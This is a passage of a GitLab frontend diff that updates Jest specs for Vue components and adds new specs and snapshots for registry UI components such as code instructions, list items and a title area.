const findLockedBlock = (w = wrapper) => w.find({ ref: 'locked' });
const findConfidentialBlock = (w = wrapper) => w.find({ ref: 'confidential' });
const findLockedAndConfidentialBlock = (w = wrapper) => w.find({ ref: 'lockedAndConfidential' });
@@ -69,7 +69,7 @@ describe('Issue Warning Component', () => {
});
it('renders warning icon', () => {
- expect(wrapper.find(Icon).exists()).toBe(true);
+ expect(wrapper.find(GlIcon).exists()).toBe(true);
});
it('does not render information about locked noteable', () => {
@@ -95,7 +95,7 @@ describe('Issue Warning Component', () => {
});
it('does not render warning icon', () => {
- expect(wrapper.find(Icon).exists()).toBe(false);
+ expect(wrapper.find(GlIcon).exists()).toBe(false);
});
it('does not render information about locked noteable', () => {
diff --git a/spec/frontend/vue_shared/components/notes/timeline_entry_item_spec.js b/spec/frontend/vue_shared/components/notes/timeline_entry_item_spec.js
index f73d3edec5d..bd4b6a463ab 100644
--- a/spec/frontend/vue_shared/components/notes/timeline_entry_item_spec.js
+++ b/spec/frontend/vue_shared/components/notes/timeline_entry_item_spec.js
@@ -17,9 +17,9 @@ describe(`TimelineEntryItem`, () => {
it('renders correctly', () => {
factory();
- expect(wrapper.is('.timeline-entry')).toBe(true);
+ expect(wrapper.classes()).toContain('timeline-entry');
- expect(wrapper.contains('.timeline-entry-inner')).toBe(true);
+ expect(wrapper.find('.timeline-entry-inner').exists()).toBe(true);
});
it('accepts default slot', () => {
diff --git a/spec/frontend/vue_shared/components/ordered_layout_spec.js b/spec/frontend/vue_shared/components/ordered_layout_spec.js
index e8667d9ee4a..eec153c3792 100644
--- a/spec/frontend/vue_shared/components/ordered_layout_spec.js
+++ b/spec/frontend/vue_shared/components/ordered_layout_spec.js
@@ -27,7 +27,9 @@ describe('Ordered Layout', () => {
let wrapper;
const verifyOrder = () =>
- wrapper.findAll('footer,header').wrappers.map(x => (x.is('footer') ? 'footer' : 'header'));
+ wrapper
+ .findAll('footer,header')
+ .wrappers.map(x => (x.element.tagName === 'FOOTER' ? 'footer' : 'header'));
const createComponent = (props = {}) => {
wrapper = mount(TestComponent, {
diff --git a/spec/frontend/vue_shared/components/paginated_list_spec.js b/spec/frontend/vue_shared/components/paginated_list_spec.js
index 46e45296c37..c0ee49f194f 100644
--- a/spec/frontend/vue_shared/components/paginated_list_spec.js
+++ b/spec/frontend/vue_shared/components/paginated_list_spec.js
@@ -48,7 +48,7 @@ describe('Pagination links component', () => {
describe('rendering', () => {
it('it renders the gl-paginated-list', () => {
- expect(wrapper.contains('ul.list-group')).toBe(true);
+ expect(wrapper.find('ul.list-group').exists()).toBe(true);
expect(wrapper.findAll('li.list-group-item').length).toBe(2);
});
});
diff --git a/spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js b/spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js
index 385134c4a3f..649eb2643f1 100644
--- a/spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js
+++ b/spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js
@@ -29,7 +29,7 @@ describe('ProjectListItem component', () => {
it('does not render a check mark icon if selected === false', () => {
wrapper = shallowMount(Component, options);
- expect(wrapper.contains('.js-selected-icon.js-unselected')).toBe(true);
+ expect(wrapper.find('.js-selected-icon').exists()).toBe(false);
});
it('renders a check mark icon if selected === true', () => {
@@ -37,7 +37,7 @@ describe('ProjectListItem component', () => {
wrapper = shallowMount(Component, options);
- expect(wrapper.contains('.js-selected-icon.js-selected')).toBe(true);
+ expect(wrapper.find('.js-selected-icon').exists()).toBe(true);
});
it(`emits a "clicked" event when clicked`, () => {
@@ -53,7 +53,7 @@ describe('ProjectListItem component', () => {
it(`renders the project avatar`, () => {
wrapper = shallowMount(Component, options);
- expect(wrapper.contains('.js-project-avatar')).toBe(true);
+ expect(wrapper.find('.js-project-avatar').exists()).toBe(true);
});
it(`renders a simple namespace name with a trailing slash`, () => {
diff --git a/spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap b/spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap
new file mode 100644
index 00000000000..16094a42668
--- /dev/null
+++ b/spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap
@@ -0,0 +1,60 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`Package code instruction multiline to match the snapshot 1`] = `
+<div>
+ <pre
+ class="gl-font-monospace"
+ data-testid="multiline-instruction"
+ >
+ this is some
+multiline text
+ </pre>
+</div>
+`;
+
+exports[`Package code instruction single line to match the default snapshot 1`] = `
+<div
+ class="gl-mb-3"
+>
+ <label
+ for="instruction-input_2"
+ >
+ foo_label
+ </label>
+
+ <div
+ class="input-group gl-mb-3"
+ >
+ <input
+ class="form-control gl-font-monospace"
+ data-testid="instruction-input"
+ id="instruction-input_2"
+ readonly="readonly"
+ type="text"
+ />
+
+ <span
+ class="input-group-append"
+ data-testid="instruction-button"
+ >
+ <button
+ class="btn input-group-text btn-secondary btn-md btn-default"
+ data-clipboard-text="npm i @my-package"
+ title="Copy npm install command"
+ type="button"
+ >
+ <!---->
+
+ <svg
+ class="gl-icon s16"
+ data-testid="copy-to-clipboard-icon"
+ >
+ <use
+ href="#copy-to-clipboard"
+ />
+ </svg>
+ </button>
+ </span>
+ </div>
+</div>
+`;
diff --git a/spec/frontend/vue_shared/components/registry/__snapshots__/history_item_spec.js.snap b/spec/frontend/vue_shared/components/registry/__snapshots__/history_item_spec.js.snap
new file mode 100644
index 00000000000..2abae33bc19
--- /dev/null
+++ b/spec/frontend/vue_shared/components/registry/__snapshots__/history_item_spec.js.snap
@@ -0,0 +1,42 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`History Item renders the correct markup 1`] = `
+<li
+ class="timeline-entry system-note note-wrapper gl-mb-6!"
+>
+ <div
+ class="timeline-entry-inner"
+ >
+ <div
+ class="timeline-icon"
+ >
+ <gl-icon-stub
+ name="pencil"
+ size="16"
+ />
+ </div>
+
+ <div
+ class="timeline-content"
+ >
+ <div
+ class="note-header"
+ >
+ <span>
+ <div
+ data-testid="default-slot"
+ />
+ </span>
+ </div>
+
+ <div
+ class="note-body"
+ >
+ <div
+ data-testid="body-slot"
+ />
+ </div>
+ </div>
+ </div>
+</li>
+`;
diff --git a/spec/frontend/vue_shared/components/registry/code_instruction_spec.js b/spec/frontend/vue_shared/components/registry/code_instruction_spec.js
new file mode 100644
index 00000000000..84c738764a3
--- /dev/null
+++ b/spec/frontend/vue_shared/components/registry/code_instruction_spec.js
@@ -0,0 +1,117 @@
+import { mount } from '@vue/test-utils';
+import Tracking from '~/tracking';
+import CodeInstruction from '~/vue_shared/components/registry/code_instruction.vue';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+
+describe('Package code instruction', () => {
+ let wrapper;
+
+ const defaultProps = {
+ instruction: 'npm i @my-package',
+ copyText: 'Copy npm install command',
+ };
+
+ function createComponent(props = {}) {
+ wrapper = mount(CodeInstruction, {
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ }
+
+ const findCopyButton = () => wrapper.find(ClipboardButton);
+ const findInputElement = () => wrapper.find('[data-testid="instruction-input"]');
+ const findMultilineInstruction = () => wrapper.find('[data-testid="multiline-instruction"]');
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('single line', () => {
+ beforeEach(() =>
+ createComponent({
+ label: 'foo_label',
+ }),
+ );
+
+ it('to match the default snapshot', () => {
+ expect(wrapper.element).toMatchSnapshot();
+ });
+ });
+
+ describe('multiline', () => {
+ beforeEach(() =>
+ createComponent({
+ instruction: 'this is some\nmultiline text',
+ copyText: 'Copy the command',
+ label: 'foo_label',
+ multiline: true,
+ }),
+ );
+
+ it('to match the snapshot', () => {
+ expect(wrapper.element).toMatchSnapshot();
+ });
+ });
+
+ describe('tracking', () => {
+ let eventSpy;
+ const trackingAction = 'test_action';
+ const trackingLabel = 'foo_label';
+
+ beforeEach(() => {
+ eventSpy = jest.spyOn(Tracking, 'event');
+ });
+
+ it('should not track when no trackingAction is provided', () => {
+ createComponent();
+ findCopyButton().trigger('click');
+
+ expect(eventSpy).toHaveBeenCalledTimes(0);
+ });
+
+ describe('when trackingAction is provided for single line', () => {
+ beforeEach(() =>
+ createComponent({
+ trackingAction,
+ trackingLabel,
+ }),
+ );
+
+ it('should track when copying from the input', () => {
+ findInputElement().trigger('copy');
+
+ expect(eventSpy).toHaveBeenCalledWith(undefined, trackingAction, {
+ label: trackingLabel,
+ });
+ });
+
+ it('should track when the copy button is pressed', () => {
+ findCopyButton().trigger('click');
+
+ expect(eventSpy).toHaveBeenCalledWith(undefined, trackingAction, {
+ label: trackingLabel,
+ });
+ });
+ });
+
+ describe('when trackingAction is provided for multiline', () => {
+ beforeEach(() =>
+ createComponent({
+ trackingAction,
+ trackingLabel,
+ multiline: true,
+ }),
+ );
+
+ it('should track when copying from the multiline pre element', () => {
+ findMultilineInstruction().trigger('copy');
+
+ expect(eventSpy).toHaveBeenCalledWith(undefined, trackingAction, {
+ label: trackingLabel,
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/registry/details_row_spec.js b/spec/frontend/vue_shared/components/registry/details_row_spec.js
new file mode 100644
index 00000000000..16a55b84787
--- /dev/null
+++ b/spec/frontend/vue_shared/components/registry/details_row_spec.js
@@ -0,0 +1,71 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
+import component from '~/vue_shared/components/registry/details_row.vue';
+
+describe('DetailsRow', () => {
+ let wrapper;
+
+ const findIcon = () => wrapper.find(GlIcon);
+ const findDefaultSlot = () => wrapper.find('[data-testid="default-slot"]');
+
+ const mountComponent = props => {
+ wrapper = shallowMount(component, {
+ propsData: {
+ icon: 'clock',
+ ...props,
+ },
+ slots: {
+ default: '<div data-testid="default-slot"></div>',
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('has a default slot', () => {
+ mountComponent();
+ expect(findDefaultSlot().exists()).toBe(true);
+ });
+
+ describe('icon prop', () => {
+ it('contains an icon', () => {
+ mountComponent();
+ expect(findIcon().exists()).toBe(true);
+ });
+
+ it('icon has the correct props', () => {
+ mountComponent();
+ expect(findIcon().props()).toMatchObject({
+ name: 'clock',
+ });
+ });
+ });
+
+ describe('padding prop', () => {
+ it('padding has a default', () => {
+ mountComponent();
+ expect(wrapper.classes('gl-py-2')).toBe(true);
+ });
+
+ it('is reflected in the template', () => {
+ mountComponent({ padding: 'gl-py-4' });
+ expect(wrapper.classes('gl-py-4')).toBe(true);
+ });
+ });
+
+ describe('dashed prop', () => {
+ const borderClasses = ['gl-border-b-solid', 'gl-border-gray-100', 'gl-border-b-1'];
+ it('by default component has no border', () => {
+ mountComponent();
+ expect(wrapper.classes).not.toEqual(expect.arrayContaining(borderClasses));
+ });
+
+ it('has a border when dashed is true', () => {
+ mountComponent({ dashed: true });
+ expect(wrapper.classes()).toEqual(expect.arrayContaining(borderClasses));
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/registry/history_item_spec.js b/spec/frontend/vue_shared/components/registry/history_item_spec.js
new file mode 100644
index 00000000000..d51ddda2e3e
--- /dev/null
+++ b/spec/frontend/vue_shared/components/registry/history_item_spec.js
@@ -0,0 +1,67 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
+import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
+import component from '~/vue_shared/components/registry/history_item.vue';
+
+describe('History Item', () => {
+ let wrapper;
+ const defaultProps = {
+ icon: 'pencil',
+ };
+
+ const mountComponent = () => {
+ wrapper = shallowMount(component, {
+ propsData: { ...defaultProps },
+ stubs: {
+ TimelineEntryItem,
+ },
+ slots: {
+ default: '<div data-testid="default-slot"></div>',
+ body: '<div data-testid="body-slot"></div>',
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findTimelineEntry = () => wrapper.find(TimelineEntryItem);
+ const findGlIcon = () => wrapper.find(GlIcon);
+ const findDefaultSlot = () => wrapper.find('[data-testid="default-slot"]');
+ const findBodySlot = () => wrapper.find('[data-testid="body-slot"]');
+
+ it('renders the correct markup', () => {
+ mountComponent();
+
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ it('has a default slot', () => {
+ mountComponent();
+
+ expect(findDefaultSlot().exists()).toBe(true);
+ });
+
+ it('has a body slot', () => {
+ mountComponent();
+
+ expect(findBodySlot().exists()).toBe(true);
+ });
+
+ it('has a timeline entry', () => {
+ mountComponent();
+
+ expect(findTimelineEntry().exists()).toBe(true);
+ });
+
+ it('has an icon', () => {
+ mountComponent();
+
+ const icon = findGlIcon();
+
+ expect(icon.exists()).toBe(true);
+ expect(icon.attributes('name')).toBe(defaultProps.icon);
+ });
+});
diff --git a/spec/frontend/vue_shared/components/registry/list_item_spec.js b/spec/frontend/vue_shared/components/registry/list_item_spec.js
new file mode 100644
index 00000000000..e2cfdedb4bf
--- /dev/null
+++ b/spec/frontend/vue_shared/components/registry/list_item_spec.js
@@ -0,0 +1,135 @@
+import { GlButton } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import component from '~/vue_shared/components/registry/list_item.vue';
+
+describe('list item', () => {
+ let wrapper;
+
+ const findLeftActionSlot = () => wrapper.find('[data-testid="left-action"]');
+ const findLeftPrimarySlot = () => wrapper.find('[data-testid="left-primary"]');
+ const findLeftSecondarySlot = () => wrapper.find('[data-testid="left-secondary"]');
+ const findRightPrimarySlot = () => wrapper.find('[data-testid="right-primary"]');
+ const findRightSecondarySlot = () => wrapper.find('[data-testid="right-secondary"]');
+ const findRightActionSlot = () => wrapper.find('[data-testid="right-action"]');
+ const findDetailsSlot = name => wrapper.find(`[data-testid="${name}"]`);
+ const findToggleDetailsButton = () => wrapper.find(GlButton);
+
+ const mountComponent = (propsData, slots) => {
+ wrapper = shallowMount(component, {
+ propsData,
+ slots: {
+ 'left-action': '<div data-testid="left-action" />',
+ 'left-primary': '<div data-testid="left-primary" />',
+ 'left-secondary': '<div data-testid="left-secondary" />',
+ 'right-primary': '<div data-testid="right-primary" />',
+ 'right-secondary': '<div data-testid="right-secondary" />',
+ 'right-action': '<div data-testid="right-action" />',
+ ...slots,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe.each`
+ slotName | finderFunction
+ ${'left-primary'} | ${findLeftPrimarySlot}
+ ${'left-secondary'} | ${findLeftSecondarySlot}
+ ${'right-primary'} | ${findRightPrimarySlot}
+ ${'right-secondary'} | ${findRightSecondarySlot}
+ ${'left-action'} | ${findLeftActionSlot}
+ ${'right-action'} | ${findRightActionSlot}
+ `('$slotName slot', ({ finderFunction, slotName }) => {
+ it('exist when the slot is filled', () => {
+ mountComponent();
+
+ expect(finderFunction().exists()).toBe(true);
+ });
+
+ it('does not exist when the slot is empty', () => {
+ mountComponent({}, { [slotName]: '' });
+
+ expect(finderFunction().exists()).toBe(false);
+ });
+ });
+
+ describe.each`
+ slotNames
+ ${['details_foo']}
+ ${['details_foo', 'details_bar']}
+ ${['details_foo', 'details_bar', 'details_baz']}
+ `('$slotNames details slots', ({ slotNames }) => {
+ const slotMocks = slotNames.reduce((acc, current) => {
+ acc[current] = `<div data-testid="${current}" />`;
+ return acc;
+ }, {});
+
+ it('are visible when details is shown', async () => {
+ mountComponent({}, slotMocks);
+
+ await wrapper.vm.$nextTick();
+ findToggleDetailsButton().vm.$emit('click');
+
+ await wrapper.vm.$nextTick();
+ slotNames.forEach(name => {
+ expect(findDetailsSlot(name).exists()).toBe(true);
+ });
+ });
+ it('are not visible when details are not shown', () => {
+ mountComponent({}, slotMocks);
+
+ slotNames.forEach(name => {
+ expect(findDetailsSlot(name).exists()).toBe(false);
+ });
+ });
+ });
+
+ describe('details toggle button', () => {
+ it('is visible when at least one details slot exists', async () => {
+ mountComponent({}, { details_foo: '<span></span>' });
+ await wrapper.vm.$nextTick();
+ expect(findToggleDetailsButton().exists()).toBe(true);
+ });
+
+ it('is hidden without details slot', () => {
+ mountComponent();
+ expect(findToggleDetailsButton().exists()).toBe(false);
+ });
+ });
+
+ describe('disabled prop', () => {
+ it('when true applies disabled-content class', () => {
+ mountComponent({ disabled: true });
+
+ expect(wrapper.classes('disabled-content')).toBe(true);
+ });
+
+ it('when false does not apply disabled-content class', () => {
+ mountComponent({ disabled: false });
+
+ expect(wrapper.classes('disabled-content')).toBe(false);
+ });
+ });
+
+ describe('borders and selection', () => {
+ it.each`
+ first | selected | shouldHave | shouldNotHave
+ ${true} | ${true} | ${['gl-bg-blue-50', 'gl-border-blue-200']} | ${['gl-border-t-transparent', 'gl-border-t-gray-100']}
+ ${false} | ${true} | ${['gl-bg-blue-50', 'gl-border-blue-200']} | ${['gl-border-t-transparent', 'gl-border-t-gray-100']}
+ ${true} | ${false} | ${['gl-border-b-gray-100']} | ${['gl-bg-blue-50', 'gl-border-blue-200']}
+ ${false} | ${false} | ${['gl-border-b-gray-100']} | ${['gl-bg-blue-50', 'gl-border-blue-200']}
+ `(
+ 'when first is $first and selected is $selected',
+ ({ first, selected, shouldHave, shouldNotHave }) => {
+ mountComponent({ first, selected });
+
+ expect(wrapper.classes()).toEqual(expect.arrayContaining(shouldHave));
+
+ expect(wrapper.classes()).toEqual(expect.not.arrayContaining(shouldNotHave));
+ },
+ );
+ });
+});
diff --git a/spec/frontend/vue_shared/components/registry/metadata_item_spec.js b/spec/frontend/vue_shared/components/registry/metadata_item_spec.js
new file mode 100644
index 00000000000..ff968ff1831
--- /dev/null
+++ b/spec/frontend/vue_shared/components/registry/metadata_item_spec.js
@@ -0,0 +1,101 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlIcon, GlLink } from '@gitlab/ui';
+import component from '~/vue_shared/components/registry/metadata_item.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+
+describe('Metadata Item', () => {
+ let wrapper;
+ const defaultProps = {
+ text: 'foo',
+ };
+
+ const mountComponent = (propsData = defaultProps) => {
+ wrapper = shallowMount(component, {
+ propsData,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ const findIcon = () => wrapper.find(GlIcon);
+ const findLink = (w = wrapper) => w.find(GlLink);
+ const findText = () => wrapper.find('[data-testid="metadata-item-text"]');
+ const findTooltipOnTruncate = (w = wrapper) => w.find(TooltipOnTruncate);
+
+ describe.each(['xs', 's', 'm', 'l', 'xl'])('size class', size => {
+ const className = `mw-${size}`;
+
+ it(`${size} is assigned correctly to text`, () => {
+ mountComponent({ ...defaultProps, size });
+
+ expect(findText().classes()).toContain(className);
+ });
+
+ it(`${size} is assigned correctly to link`, () => {
+ mountComponent({ ...defaultProps, link: 'foo', size });
+
+ expect(findTooltipOnTruncate().classes()).toContain(className);
+ });
+ });
+
+ describe('text', () => {
+ it('display a proper text', () => {
+ mountComponent();
+
+ expect(findText().text()).toBe(defaultProps.text);
+ });
+
+ it('uses tooltip_on_truncate', () => {
+ mountComponent();
+
+ const tooltip = findTooltipOnTruncate(findText());
+ expect(tooltip.exists()).toBe(true);
+ expect(tooltip.attributes('title')).toBe(defaultProps.text);
+ });
+ });
+
+ describe('link', () => {
+ it('if a link prop is passed shows a link and hides the text', () => {
+ mountComponent({ ...defaultProps, link: 'bar' });
+
+ expect(findLink().exists()).toBe(true);
+ expect(findText().exists()).toBe(false);
+
+ expect(findLink().attributes('href')).toBe('bar');
+ });
+
+ it('uses tooltip_on_truncate', () => {
+ mountComponent({ ...defaultProps, link: 'bar' });
+
+ const tooltip = findTooltipOnTruncate();
+ expect(tooltip.exists()).toBe(true);
+ expect(tooltip.attributes('title')).toBe(defaultProps.text);
+ expect(findLink(tooltip).exists()).toBe(true);
+ });
+
+ it('hides the link and shows the test if a link prop is not passed', () => {
+ mountComponent();
+
+ expect(findText().exists()).toBe(true);
+ expect(findLink().exists()).toBe(false);
+ });
+ });
+
+ describe('icon', () => {
+ it('if a icon prop is passed shows a icon', () => {
+ mountComponent({ ...defaultProps, icon: 'pencil' });
+
+ expect(findIcon().exists()).toBe(true);
+ expect(findIcon().props('name')).toBe('pencil');
+ });
+
+ it('if a icon prop is not passed hides the icon', () => {
+ mountComponent();
+
+ expect(findIcon().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/registry/title_area_spec.js b/spec/frontend/vue_shared/components/registry/title_area_spec.js
new file mode 100644
index 00000000000..6740d6097a4
--- /dev/null
+++ b/spec/frontend/vue_shared/components/registry/title_area_spec.js
@@ -0,0 +1,98 @@
+import { GlAvatar } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import component from '~/vue_shared/components/registry/title_area.vue';
+
+describe('title area', () => {
+ let wrapper;
+
+ const findSubHeaderSlot = () => wrapper.find('[data-testid="sub-header"]');
+ const findRightActionsSlot = () => wrapper.find('[data-testid="right-actions"]');
+ const findMetadataSlot = name => wrapper.find(`[data-testid="${name}"]`);
+ const findTitle = () => wrapper.find('[data-testid="title"]');
+ const findAvatar = () => wrapper.find(GlAvatar);
+
+ const mountComponent = ({ propsData = { title: 'foo' }, slots } = {}) => {
+ wrapper = shallowMount(component, {
+ propsData,
+ slots: {
+ 'sub-header': '<div data-testid="sub-header" />',
+ 'right-actions': '<div data-testid="right-actions" />',
+ ...slots,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('title', () => {
+ it('if slot is not present defaults to prop', () => {
+ mountComponent();
+
+ expect(findTitle().text()).toBe('foo');
+ });
+ it('if slot is present uses slot', () => {
+ mountComponent({
+ slots: {
+ title: 'slot_title',
+ },
+ });
+ expect(findTitle().text()).toBe('slot_title');
+ });
+ });
+
+ describe('avatar', () => {
+ it('is shown if avatar props exist', () => {
+ mountComponent({ propsData: { title: 'foo', avatar: 'baz' } });
+
+ expect(findAvatar().props('src')).toBe('baz');
+ });
+
+ it('is hidden if avatar props does not exist', () => {
+ mountComponent();
+
+ expect(findAvatar().exists()).toBe(false);
+ });
+ });
+
+ describe.each`
+ slotName | finderFunction
+ ${'sub-header'} | ${findSubHeaderSlot}
+ ${'right-actions'} | ${findRightActionsSlot}
+ `('$slotName slot', ({ finderFunction, slotName }) => {
+ it('exist when the slot is filled', () => {
+ mountComponent();
+
+ expect(finderFunction().exists()).toBe(true);
+ });
+
+ it('does not exist when the slot is empty', () => {
+ mountComponent({ slots: { [slotName]: '' } });
+
+ expect(finderFunction().exists()).toBe(false);
+ });
+ });
+
+ describe.each`
+ slotNames
+ ${['metadata_foo']}
+ ${['metadata_foo', 'metadata_bar']}
+ ${['metadata_foo', 'metadata_bar', 'metadata_baz']}
+ `('$slotNames metadata slots', ({ slotNames }) => {
+ const slotMocks = slotNames.reduce((acc, current) => {
+ acc[current] = `<div data-testid="${current}" />`;
+ return acc;
+ }, {});
+
+ it('exist when the slot is present', async () => {
+ mountComponent({ slots: slotMocks });
+
+ await wrapper.vm.$nextTick();
+ slotNames.forEach(name => {
+ expect(findMetadataSlot(name).exists()).toBe(true);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/remove_member_modal_spec.js b/spec/frontend/vue_shared/components/remove_member_modal_spec.js
index 2d380b25a0a..78fe6d53eee 100644
--- a/spec/frontend/vue_shared/components/remove_member_modal_spec.js
+++ b/spec/frontend/vue_shared/components/remove_member_modal_spec.js
@@ -48,7 +48,7 @@ describe('RemoveMemberModal', () => {
});
it(`${checkboxTestDescription}`, () => {
- expect(wrapper.contains(GlFormCheckbox)).toBe(checkboxExpected);
+ expect(wrapper.find(GlFormCheckbox).exists()).toBe(checkboxExpected);
});
it('submits the form when the modal is submitted', () => {
diff --git a/spec/frontend/vue_shared/components/resizable_chart/__snapshots__/skeleton_loader_spec.js.snap b/spec/frontend/vue_shared/components/resizable_chart/__snapshots__/skeleton_loader_spec.js.snap
index 103b53cb280..3990248d021 100644
--- a/spec/frontend/vue_shared/components/resizable_chart/__snapshots__/skeleton_loader_spec.js.snap
+++ b/spec/frontend/vue_shared/components/resizable_chart/__snapshots__/skeleton_loader_spec.js.snap
@@ -1,324 +1,433 @@
// Jest Snapshot v1, https://goo.gl/fbAQLP
exports[`Resizable Skeleton Loader default setup renders the bars, labels, and grid with correct position, size, and rx percentages 1`] = `
-<gl-skeleton-loader-stub
- baseurl=""
- height="130"
- preserveaspectratio="xMidYMid meet"
- width="400"
+<div
+ class="gl-px-8"
>
- <rect
- data-testid="skeleton-chart-grid"
- height="1px"
- width="100%"
- x="0"
- y="30%"
- />
- <rect
- data-testid="skeleton-chart-grid"
- height="1px"
- width="100%"
- x="0"
- y="60%"
- />
- <rect
- data-testid="skeleton-chart-grid"
- height="1px"
- width="100%"
- x="0"
- y="90%"
- />
-
- <rect
- data-testid="skeleton-chart-bar"
- height="5%"
- rx="0.4%"
- width="6%"
- x="5.875%"
- y="85%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="7%"
- rx="0.4%"
- width="6%"
- x="17.625%"
- y="83%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="9%"
- rx="0.4%"
- width="6%"
- x="29.375%"
- y="81%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="14%"
- rx="0.4%"
- width="6%"
- x="41.125%"
- y="76%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="21%"
- rx="0.4%"
- width="6%"
- x="52.875%"
- y="69%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="35%"
- rx="0.4%"
- width="6%"
- x="64.625%"
- y="55%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="50%"
- rx="0.4%"
- width="6%"
- x="76.375%"
- y="40%"
- />
- <rect
- data-testid="skeleton-chart-bar"
- height="80%"
- rx="0.4%"
- width="6%"
- x="88.125%"
- y="10%"
- />
-
- <rect
- data-testid="skeleton-chart-label"
- height="5%"
- rx="0.4%"
- width="4%"
- x="6.875%"
- y="95%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="5%"
- rx="0.4%"
- width="4%"
- x="18.625%"
- y="95%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="5%"
- rx="0.4%"
- width="4%"
- x="30.375%"
- y="95%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="5%"
- rx="0.4%"
- width="4%"
- x="42.125%"
- y="95%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="5%"
- rx="0.4%"
- width="4%"
- x="53.875%"
- y="95%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="5%"
- rx="0.4%"
- width="4%"
- x="65.625%"
- y="95%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="5%"
- rx="0.4%"
- width="4%"
- x="77.375%"
- y="95%"
- />
- <rect
- data-testid="skeleton-chart-label"
- height="5%"
- rx="0.4%"
- width="4%"
- x="89.125%"
- y="95%"
- />
-</gl-skeleton-loader-stub>
+ <svg
+ class="gl-skeleton-loader"
+ preserveAspectRatio="xMidYMid meet"
+ version="1.1"
+ viewBox="0 0 400 130"
+ >
+ <rect
+ clip-path="url(#null-idClip)"
+ height="130"
+ style="fill: url(#null-idGradient);"
+ width="400"
+ x="0"
+ y="0"
+ />
+ <defs>
+ <clippath
+ id="null-idClip"
+ >
+ <rect
+ data-testid="skeleton-chart-grid"
+ height="1px"
+ width="100%"
+ x="0"
+ y="30%"
+ />
+ <rect
+ data-testid="skeleton-chart-grid"
+ height="1px"
+ width="100%"
+ x="0"
+ y="60%"
+ />
+ <rect
+ data-testid="skeleton-chart-grid"
+ height="1px"
+ width="100%"
+ x="0"
+ y="90%"
+ />
+
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="5%"
+ rx="0.4%"
+ width="4%"
+ x="6%"
+ y="85%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="7%"
+ rx="0.4%"
+ width="4%"
+ x="18%"
+ y="83%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="9%"
+ rx="0.4%"
+ width="4%"
+ x="30%"
+ y="81%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="14%"
+ rx="0.4%"
+ width="4%"
+ x="42%"
+ y="76%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="21%"
+ rx="0.4%"
+ width="4%"
+ x="54%"
+ y="69%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="35%"
+ rx="0.4%"
+ width="4%"
+ x="66%"
+ y="55%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="50%"
+ rx="0.4%"
+ width="4%"
+ x="78%"
+ y="40%"
+ />
+ <rect
+ data-testid="skeleton-chart-bar"
+ height="80%"
+ rx="0.4%"
+ width="4%"
+ x="90%"
+ y="10%"
+ />
+
+ <rect
+ data-testid="skeleton-chart-label"
+ height="3%"
+ rx="0.4%"
+ width="3%"
+ x="6.5%"
+ y="97%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="3%"
+ rx="0.4%"
+ width="3%"
+ x="18.5%"
+ y="97%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="3%"
+ rx="0.4%"
+ width="3%"
+ x="30.5%"
+ y="97%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="3%"
+ rx="0.4%"
+ width="3%"
+ x="42.5%"
+ y="97%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="3%"
+ rx="0.4%"
+ width="3%"
+ x="54.5%"
+ y="97%"
+ />
+ <rect
+ data-testid="skeleton-chart-label"
+ height="3%"
+ rx="0.4%"
+ width="3%"
+ x="66.5%"
+ y="97%"
+ />
+ <rect
